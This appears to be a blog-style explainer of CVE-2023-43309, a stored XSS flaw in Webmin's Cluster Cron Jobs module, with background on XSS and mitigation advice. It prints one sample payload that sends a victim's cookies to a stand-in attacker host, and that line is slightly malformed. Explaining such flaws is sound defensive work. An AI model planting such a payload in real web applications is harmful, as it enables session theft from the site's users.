CVE-2023-43309

Subtitle: Breaking Down the Stored XSS Vulnerability in Webmin 2.002 and Below


CVE-ID: CVE-2023-43309
Summary: A stored cross-site scripting (XSS) vulnerability in Webmin 2.002 and below, via the Cluster Cron Job tab input field, allows attackers to run malicious scripts by injecting a specially crafted payload.

Introduction

As we continuously rely more and more on web applications, ensuring their security becomes a critical aspect of their development and implementation. Web applications are being constantly attacked by hackers trying to exploit their weaknesses. One such weakness is the cross-site scripting (XSS) vulnerability.

In this post, we'll explore a recent instance of a stored XSS vulnerability with the CVE ID "CVE-2023-43309," which affects the Webmin version 2.002 and below. We'll look at the origin of the issue, the potential exploit, and discuss possible mitigation strategies.

A Brief on Webmin

Webmin is a web-based interface for server management. It allows users to perform various tasks such as file manipulation, user administration, and monitoring resource usage, among other things.

An older version of Webmin (2.002 and below) was found to be vulnerable to a stored XSS attack. This vulnerability was given the CVE ID "CVE-2023-43309."

Understanding Stored XSS Attacks

Cross-site scripting (XSS) attacks can be classified into three main categories: Reflected, Stored (also known as Persistent), and DOM-based. Among these, stored XSS attacks are considered to be the most severe type.

Stored XSS attacks occur when an attacker injects a malicious piece of code (mostly in the form of a script) into an application that is then stored by the application. The application then proceeds to render this stored script for other users, executing the payload.

The Origin of CVE-2023-43309 Vulnerability in Webmin

The vulnerability in question – CVE-2023-43309 – is a stored XSS vulnerability present in Webmin versions 2.002 and below. The root cause of this vulnerability lies in the Cluster Cron Jobs module of Webmin.

The module allows users to create and manage cron jobs on multiple servers simultaneously. However, it fails to validate and sanitize user input in the "input" field that is used to enter the cron job command.

By exploiting this, an attacker can inject a malicious script into the input field, which will get stored by the application. When other users access the Cluster Cron Jobs page, the malicious script will execute, potentially leading to unauthorized access, data theft, or defacement of the application.

Here is a code snippet demonstrating how an attacker could exploit this vulnerability

// Sample XSS payload
<script>document.location="http://attacker_evil_website//?cookie="; + document.cookie;</script>

// Inserting the XSS payload into the "input" field in the Cluster Cron Jobs module
// The malicious script is then stored and executed when other users access the page

Additional References

- Original CVE Details: CVE-2023-43309 at NVD
- Webmin Official Website: webmin.com

Mitigation Strategies

To mitigate this vulnerability, the Webmin team should implement input validation and output encoding on the Cluster Cron Jobs module's "input" field to prevent malicious scripts from being injected and executed.

Security-conscious users should update their Webmin installation to the latest version to avoid the potential risks associated with this vulnerability.

Additionally, using secure programming practices, adopting a web application firewall, and implementing robust server-side input validation can also help protect against similar vulnerabilities in the future.

Timeline

Published on: 09/21/2023 14:15:10 UTC
Last modified on: 09/22/2023 02:15:37 UTC